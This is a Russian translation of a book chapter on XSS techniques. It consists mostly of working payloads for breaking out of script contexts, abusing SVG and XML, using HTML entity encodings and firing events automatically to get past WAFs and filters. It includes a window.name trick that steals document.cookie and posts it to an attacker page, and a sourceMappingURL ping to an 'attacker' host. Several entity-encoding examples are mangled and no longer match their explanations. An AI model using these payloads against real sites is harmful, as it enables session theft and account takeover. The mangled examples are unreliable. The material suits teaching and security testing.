Глава 8. XSS
Содержание
- Глава 8. XSS
- Закрывающие сценарии
- Комментарии внутри сценариев
- Логические объекты HTML внутри SVG
- Сценарий без сценария закрытия
- Полезные нагрузки названия окна
- Соответствия источников для создания обратных ping
- Новый приёмник перенаправления
- Комментарии JavaScript
- Новые строки
- Пробельные символы
- Динамический импорт
- Пространство имён XHTML в XML
- Выгрузки SVG
- Применяемые SVG элементы
- Логические объекты HTML
- События
- Выводы
Эта глава посвящена межсайтовым сценариям (Cross Site Scripting), нежно именуемым XSS, хотя это название не имеет особого смысла. Так как вы можете сохранять XSS из одного и того же сайта, и вы можете иметь сценарии из разных источников, которые не являются одним и тем же сайтом, но имя застряло, и все знают их таковыми, что бы ни произошло. В этой главе я расскажу о некоторых хитростях XSS о которых вы, возможно, не знали, и объединю изученные в других главах методы для создания занятных полезных нагрузок. Тогда давайте к делу…
Первый метод состоит в применении закрывающего блока сценария внутри строки JavaScript. Он довольно хорошо известен в сообществе XSS, но если вы разработчик, вы, возможно, не сталкивались с этим раньше. Основная идея заключается в том, что у вас есть какое-то отражение внутри строки JavaScript, и внедрённая кавычка экранирована правильно, но меньше и больше чем нет. Чтобы воспользоваться этим сценарием, вы можете ввести закрывающий тег сценария внутри строки JS, и это закроет блок сценария и вызовет исключительную ситуацию JavaScript из-за незакрытой строки, затем вы можете приступить к внедрению собственного HTML и получить XSS на цель приложения:
1 <script>
2 let foo = "</script><img/src/onerror=alert(1337)>";
3 </script>
Для исправления данной уязвимости вы можете экранировать значения символа косой черты при помощи обратной косой черты, это предотвратит работу закрывающего сценария, но, как мы обнаружим позднее, это не лучшее исправление. Гораздо лучшее решение состоит в том, чтобы экранировать unicode последовательность меньше чем и больше чем, это обеспечит то, что значение HTML не будет строиться внутри такой строки. Естественно, вы обязаны также экранировать или кодировать обратную косую черту и кавычки.
Вы можете предположить, что исправление предыдущей уязвимости экранированием косой черты решит данную проблему, однако это не так. Когда у вас имеются две точки внедрения, причём одна внутри переменной JavaScript, а другая внутри атрибута HTML, вы можете внедрить открывающий тег комментария HTML предотвращающий закрытия сценария сценарий и этот блок сценария будет продолжаться до тех пор, пока не встретится другой закрывающий сценария тег. Следующий код демонстрирует это:
1 <script>
2 let foo = "<!--<script>";
3 </script>
4
5 <img title="</script><img/src/onerror=alert(1)>">
Вот что строится на самом деле:
1 <script>
2 let foo = "<!--<script>";
3 </script>
4
5 <img title="</script><img src="" onerror="alert(1)">">
Как вы можете наблюдать на выходе, сочетание комментария HTML и сценария открытия сводит на нет имеющийся сценарий закрытия, а второй сценарий закрытия затем применяется для закрытия блока сценария, который затем вырывается из атрибута заголовка, вызывая построение элемента изображения.
Вы можете предположить, что если вы правильно осуществляете экранирование, внутри блоков сценариев вы можете предотвращать XSS. Однако внутри SVG это иная история. Логические объекты HTML отображаются внутри, потому что SVG выступает форматом XML, а это означает, что когда эти логические объекты декодируются SVG, JavaScript получает верные не кодированные символы:
1 <svg>
2 <script>let foo = ""-alert(1)///";</script>
3 </svg>
Возможно, вы предполагали что при использовании блока сценария вам всегда требуется закрывающий сценарий. И вы ошибались, по крайней мере в Firefoх. Когда вы применяете SVG, в Firefox у вас может иметься самостоятельно закрывающийся сценарий:
1 <svg><script href=data:,alert(1) />
Вам следует применять атрибут href
, потому как вы пребываете в SVG, а не в HTML, а там атрибут
src
не поддерживается.
Ещё один распространённый трюк из арсенала XSS это применение window.name
для контрабанды в прочие
домены или страницы полезной нагрузки. Браузеры борются с этим удаляя такое название для междоменной навигации верхнего уровня, но данный метод
прекрасно работает при применении iframes
:
1 <iframe src=//target name=alert(1)></iframe>
2
3 <!--target–>
4 <script>eval(name)</script>
Вы даже можете переносить туда файлы cookie и извлекать их, когда страница переходит на управляемую вами страницу. Например:
1 <script>name=document.cookie</script>
2 <a href="//attacker">test</a>
3
4 <!--Attacker controlled page–>
5 <script>fetch('/collect-cookie', {method:"post",body:name})</script>
Соответствие источников это великолепный способ создания взаимодействия DNS/HTTP, которое можно применять для скрытного вывода данных. Когда у вас внутри однострочного комментария имеется инъекция, вы можете применять запрос исходного соответствия для скрытого вывода данных после такого комментария. Однако имеется одна проблема: Для этого требуется чтобы у жертвы были открыты devtools. Хотя когда вы получаете обратный ping, вы можете пользоваться этим в своих интересах, потому как вы можете быть уверены что у вашей жертвы открыты devtools. Вот как это работает:
1 //# sourceMappingURL=https://attacker?
После выполнения оценки данного комментария будет отправлен запрос источнику соответствия, причём это также срабатывает в функции
eval()
обратите внимание, что вам придётся воспользоваться инструментом OOB (Out-of-Band), например,
Burp Collaborator или Interactsh. Это обусловлено тем, что devtools не отображает такой запрос на вкладке network.
Chrome представил новый способ вызова перенаправления на стороне клиента: navigation.navigate()
.
Применяя этот метод возможно определять URL JavaScript , что означает что вы способны также вызывать произвольный JavaScript. Для его
применения вы просто вызываете этот метод navigate()
с JavaScript или URL HTML:
1 navigation.navigate('javascript:alert(1337)')
JavaScript поддерживает весь спектр синтаксиса комментариев. Существует несколько различных типов комментариев в одну строку:
1 #!
2 //
3 <!--
4 –>
Первый пример будет работать только в том случае, когда это самый первый оператор JavaScript, если он появляется в другом месте, будет вызвана синтаксическая ошибка. Второй пример — это стандартный способ создания однострочного комментария, который может появиться в любом месте выражения или оператора (при условии, что он не находится внутри строки и т.д.). Далее, третий пример ведёт себя точно так же, как и предыдущий комментарий, и был добавлен на заре Интернета, когда сценарии не поддерживались всеми браузерами, но он все ещё поддерживается сегодня.
Наконец, в JavaScript разрешён закрывающий HTML-комментарий, и он действует как комментарий в одну строку, если используется в начале, однако, поскольку он потенциально может использоваться как операция уменьшения и больше чем, он не поддерживается нигде внутри выражения/ инструкции. Всякий комментарий в одну строку активен до тех пор, пока не встретится новый символ строки; это подразумевает символ возврата каретки, символ перевода на новую строку, символ разделителя абзаца или символ разделителя строк.
Насколько мне известно, JavaScript поддерживает только один тип комментария со множеством строк с косой чертой и звёздочкой:
1 /*
2 I'm a multiline comment
3 */
JavaScript поддерживает множество символов для разделения операторов. Они включают в себя возврат каретки, перевод строки, разделитель строк и разделитель абзацев. Это можно продемонстрировать следующим образом:
1 eval('//\ralert(1337)');//carriage return - возврат каретки
2 eval('//\nalert(1337)');//line feed - перевод строки
3 eval('//\u2028alert(1337)');//line separator разделитель строк
4 eval('//\u2029alert(1337)');//paragraph separator - разделитель абзацев
Когда у вас внутри однострочного комментария имеется инъекция, а WAF блокирует символ новой строку, то стоит попробовать упомянутые выше альтернативные символы.
В JavaScript имеется множество пробельных символов и их применение может помогать обходить беззвучный WAF, который для поиска определённых ключевых слов, таких как eval применяет регулярные выражения. Вот простой способ проверить наличие пробельных символов (обратите внимание, что это будет включать новые строки, возврат каретки и разделители строк/ абзацев):
1 log=[];
2 function funct(){}
3 for(let i=0;i<=0x10ffff;i++){
4 try{
5 eval(`funct${String.fromCodePoint(i)}()`);
6 log.push(i);
7 }catch(e){}
8 }
9 console.log(log)
10 //9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
11 232,8233,8239,8287,12288,65279
Когда в атрибутах SVG или HTML появляются сырые символы, ими можно пользоваться или кодировать в HTML:
1 <img/src/onerror=alert(1)>
JavaScript позволяет вам при помощи import()
динамически загружать модуль, что похоже на обычную
функцию за исключением того, что он позволяет механизму JavaScript выбирать действительно ли он нужен. Это похожее на функцию выражение
позволяет указывать URL для импорта и весьма полезно позволяет определять URL данных для выполнения произвольного JavaScript:
1 import('data:text/javascript,alert(1)')
Когда у вас имеется контроль над файлом XML с типом содержимого text/xml, когда вы предоставите пространство имён XHTML, все ещё имеется возможность выполнения JavaScript.
1 <xml>
2 <text>hello<img src="1" onerror="alert(1)" /></text>
3 </xml>
Без пространства имён браузер отобразит приведённый выше код как XML и покажет представление XML. Однако простое добавление к элементу
img
пространства имён позволит отображать его как XHTML:
1 <xml>
2 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" \
3 /></text>
4 </xml>
Это может быть полезным для загрузки файлов или когда у вас имеется контроль над ответом REST API, который обслуживается с типом содержимого XML.
Обычно допустима выгрузка в веб приложение файлов изображений, но многие забывают, что внутри загруженных документов SVG вы можете
применять сценарий. В отличие от SVG внутри HTML имеющийся синтаксический анализ при использовании SVG с верным типом
mime
более строгий. Это означает, что вам требуется убедиться что добавлен правильный атрибут
пространства имён, причём он обязан соответствовать правилам синтаксического разбора XML, например, все атрибуты обязаны быть заключёнными
в кавычки.
1 <svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/x\
2 link' width='100' height='100'>
3 <image href="1" onerror="alert(1)" />
4 </svg>
Вы можете предотвращать эксплуатацию данной проблемы фильтруя SVG в явном виде, но если вы не способны сделать это, вы всегда можете передать соответствующий файл с заголовком размещения содержимого (Content-Disposition) и значением вложения (attachment):
Content-Disposition: attachment
В современном браузере это должно препятствовать построению соответствующего SVG. Хотя имеется предостережение: когда встречается элемент
<use>
, он всё равно будет прорисовываться.
Как уже упоминалось, вы можете добиться исполнения JavaScript внедряя документ SVG с применением внутри SVG элемента
<use>
. Это срабатывает при условии, что документ находится в том же домене. Вы также можете
применять URL данных, и я продемонстрирую это ниже:
1 <svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'\
2 ><image href='1' onerror='alert(1)' /></svg>#x" />
Обратите внимание, что поскольку URL данных применяет допустимый тип mime SVG, используются более строгие правила. Также стоит отметить, что даже если это URL данных, он не будет выполняться из нулевого источника, он унаследует источник от текущей страницы.
HTML обладает широким спектром вариантов кодирования. В этом разделе я собираюсь рассмотреть различные способы кодирования символов с помощью логических объектов и завершить каждый раздел несколькими примерами.
Для представления различных данных вы можете пользоваться кодами символов, причём они обладают префиксом
&#
и заканчиваются не обязательной точкой с запятой. Например, символ
"j"
представляется как кодовый символ 106
.
Поэтому для создания такого символа вам просто требуется соединить такой префикс со значением кода, за которым следует не обязательная
точка с запятой. Перед кодом символа вы также можете применять столько нулей, сколько пожелаете:
1 <a href="javascript:alert(1337)">test1</a>
2 <a href="javascript:alert(1337)">test2</a>
3 <a href="javascript:alert(1337)">test3</a>
Преобразование в данный формат очень простое, вам всего лишь надо перебрать в цикле символы и преобразовывать соответствующий символ
в код символа при помощи codePointAt()
:
1 'j'.codePointAt(0)
В шестнадцатеричных логических объектах имеется много общего с десятичными, за исключением слегка иного префикса. В качестве префикса вы
применяете &#x
и преобразовываете код своего символа в шестнадцатеричное представление.
Точка с запятой снова не обязательна, однако, когда имеется допустимый шестнадцатеричный символ, он будет создавать другой символ, а потому
вам надлежит убедиться, что идущий следом символ не является допустимым шестнадцатеричным представлением:
1 <a href="javascript:alert(1337)">test1</a>
2 <a href="ڪvascript:alert(1337)">test2</a>
3 <a href="�x6a;avascript:alert(1337)">test3</a>
4 <a href="javascript:alert(1337)">test4</a>
В приведённом выше коде второй пример завершится ошибкой, потому что "a"
является допустимым
шестнадцатеричным кодом и, следовательно, создаёт символ, отличный от требуемого "j"
. Последний
пример срабатывает, потому что "s"
не является допустимым шестнадцатеричным кодом, поэтому
данный логический объект выдаёт правильный символ. Чтобы создать такую кодировку, вам просто нужно снова получить кодовый пункт, но преобразовать
его в шестнадцатеричный код следующим образом:
1 'j'.codePointAt(0).toString(16)
Стоит отметить, что когда у вас есть шестнадцатеричное значение с начальным нулём, вы можете его опустить, и оно все равно будет работать:
1 <a href="java
script:alert(1)">test</a>
Как вам известно, HTML также поддерживает именованные логические объекты; они позволяют предоставлять различные символы при помощи
особенных имён. Вероятно, наиболее распространёнными именованными объектами являются <
и >
. Для некоторых логических объектов точка с запятой не обязательна, но они будут декодированы
только в зависимости от своего следующего символа.
1 <a href="#" onclick="alert(title)" title="<img/src/onerror=alert(1)>">test1</a>
2 <a href="#" onclick="alert(title)" title="<!---->">test2</a>
В первом примере значение больше будет декодировано, а меньше — нет, однако во втором примере будут декодированы оба. Это связано с тем, что
браузер ожидает точку с запятой или продолжение именованного логического объекта, поскольку символ восклицательного знака не приводит к реальному
логическому объекту, браузер знает, что вы должны подразумеваете <
.
В HTML5 появилась целая пачка новых логических объектов, полезных для XSS. Однако для того, чтобы ими воспользоваться, они должны быть правильно
сформированы. Это подразумевает отсутствие пропуска точки с запятой. Из всех логических объектов, вероятно, наиболее полезен
&colon
, поскольку вы можете применять его для внедрения протокола JavaScript без двоеточия:
1 <a href="javascript>colon;alert(1337)">test</a>
Другими примечательными логическими объектами выступают &lpar
,
)
,\
,
[
,]
,
{
,}
&lpar
транслируется как открывающая круглая скобка,
)
как закрывающая. \
это символ обратной
косой черты, а [
и ]
это квадратные скобки,
в то время как {
и }
левая и правая
фигурные скобки (CUrly Braces). Вот как применять логические элементы &lpar
и
)
:
1 <a href="javascript:alert(1337)">test</a>
Существуют даже логические объекты для символов новой строки и табуляции, которые, как мы узнали из главы о распылении, можно применять внутри протокола JavaScript:
1 <a href="jav
as	cript:alert(1337)">test</a>
Если вам удалось прокрасться в URL JavaScript, но круглые скобки блокируются WAF, вы можете воспользоваться именованные логическими объектами для символа обратной кавычки, на самом деле их имеется два, и они работают оба:
1 <a href="javascript:alert`1337`">test</a>
2 <a href="javascript:alert`1337`">test</a>
Есть большое число примечательных событий, которые запускаются без взаимодействия с пользователем, и они наиболее полезны, поскольку вам не
нужно убеждать жертву щёлкнуть что бы то ни было. Я собираюсь выделить наименее известные события, так как они будут наиболее полезны для обхода
фильтров и WAF. onafterscriptexecute
— это событие только для Firefox, и, как следует из его названия,
оно срабатывает после выполнения сценария. Что действительно здорово в этом событии, так это то, что его можно применять с любым тегом,
единственный его недостаток — оно требует, чтобы сценарий присутствовал внутри самого тега, в который вы внедряетесь:
1 <xss onafterscriptexecute=alert(1)><script>1</script>
Вы можете воспользоваться им для внедрения в открывающий тег и внутри него может быть загружен уже имеющийся сценарий, этого будет
достаточно для возбуждения данного события. Существует связанное с ним событие onbeforescriptexecute
,
это снова только Firefox и требуется имеющийся сценарий.
Вероятно, это самая известная хитрость по сравнению со всеми прочими. Вы можете событие ontoggle
возбуждаться автоматически, когда принудительно раскроете элемент details
:
1 <details ontoggle=alert(1) open>test</details>
Это относительно малоизвестное событие, которое работает только в Firefox. Требуется обязательство без предложения
catch
. Чтобы применения сайта с ним, вам понадобится имеющийся сценарий с отклонением без
его обработки.
1 <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
SVG содержит большое число занятных событий, onbegin
срабатывает при запуске анимации и довольно
короткое, что всегда хорошо для полезной нагрузки XSS. Чтобы воспользоваться им, вы должны применить тег анимации и указать атрибут для анимации
и её продолжительность:
1 <svg><animate onbegin=alert(1) attributeName=x dur=1s>
Также имеется связанный с ним тег onend
, который срабатывает по завершению анимации. Также требует
атрибут определения его продолжительности и атрибут анимации.
Существует также несколько событий которыми вы можете воспользоваться и которые для своего возбуждения требуют навигации. Одним из таких
событий является onpopstate
, оно возбуждается при изменении истории. Для запуска данного события вы
обязаны каким- то образом изменить URL цели. Скорее всего, это будет содержать iframe
, стоит обратить
ваше внимание на то, что когда не срабатывает alert()
для перекрёстных
iframe
, вам придётся применять вместо него функцию print()
.
Вот некоторые образцы:
1 <body onpopstate=alert(1)><script>location.hash=1</script>
2
3 <iframe src="//target?x=<body/onpopstate=print()>" onload=this.src%2b='%23'>
Для возбуждения также таких событий как hashchange
вы также можете воспользоваться
iframe
чтобы вызывать модификацию соответствующей части значения URL:
1 <iframe src="//target?x=<body/onhashchange=print()>" onload=this.src%2b='%23'>
Снова воспользовавшись iframe
вы способны загрузить внешний URL со своей инъекцией обработчика
onmessage
, а затем воспользоваться postMessage
для
возбуждения необходимого события:
1 <iframe src="//target?x=<body/onmessage=print()>" onload=this.contentWindow.postMess\
2 age('x','*')>
Обычно данное событие можно возбуждать при помощи textarea
или
input
применяя атрибут autofocus
. Можно заставить это событие
срабатывать и другими элементами, воспользовавшись tabindex
и неким атрибутом
id
. tabindex
это атрибут доступности, позволяющий вам выбирать
какие упорядоченные элементы вы можете избирать нажимая клавишу tab. Соединяя это с атрибутом
id
и применяя хэш из URL это автоматически осуществит фокусировку на данном элементе:
1 <x onfocus=alert(1) id=x tabindex=1>
somepage.html#x
По крайней мере в Chrome, существует ещё один трюк: вы можете воспользоваться атрибутом autofocus
для любого элемента, при условии что в сочетании с ним вы применяете tabindex
. Это означает, что
вам не требуется id
или хэш:
1 <x onfocus=alert(1) autofocus tabindex=1>
Аналогично, существует связанное с ним событие onfocusin
, которое может применяться для обхода WAF
и обладающее аналогичным описанному выше поведением.
Хорошо известно, что для запуска событий в любом теге вы можете пользоваться переходами/ анимацией CSS. Если вы с этим не знакомы, вот как это можно сделать:
1 <style>:target {color: red;}</style>
2 <xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
somepage.html#x
Это срабатывает с применением селектора :target
для изменения стилей элемента, когда найден
идентификатор, указанный в хэш-части URL. Затем это возбуждает событие. Недостатком данного конкретного подхода является то, что он требует блока
стиля, который, вероятно, будет заблокирован WAF или фильтром. Однако имеется и иной способ, мы можем применить описанный ранее трюк, чтобы
сфокусировать элемент, а поскольку Chrome добавляет контур CSS к сфокусированным элементам, вы можете использовать переход, который возбудит
событие, потому что изменится контур:
1 <xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
somepage.html#x
Если у вас возникли проблемы с доносом на данное событие, всегда имеется вариант webkit, которым вы можете воспользоваться:
1 <xss id=x style="transition:outline 1s" onwebkittransitionend=alert(1) tabindex=1></\
2 xss>
somepage.html#x
В данной главе мы рассмотрели много чего. В основном, я пытался выдать мозговой дамп из непонятных трюков, до которых я смог додуматься или
из ответов на вопросы, которые мне задавали в Твиттере. Сначала мы рассмотрели как закрывать сценарии без закрывающего тега. Затем
рассказали как злоупотреблять комментариями HTML внутри сценариев, логическими элементами HTML внутри SVG, как злоупотреблять
window.name
для нелегальной доставки полезной нагрузки и файлов куки. Мы узнали как применять
соответствия источников для отправки обратного ping в контролируемый злоумышленниками сервер. После этого мы продемонстрировали новый
слив (sink) JavaScript с названием navigate()
, который работает в Chrome. Далее мы рассмотрели все
имеющиеся в JavaScript комментарии и пробельные символы. Позднее мы показали как применять динамический импорт с URL данных. После этого
мы рассмотрели как получать HTML внутри документа XML. Далее вы показали как применять загрузку SVG и пользоваться элементами. После этого
мы рассмотрели логические объекты HTML и, наконец, завершили некими малоизвестными событиями JavaScript/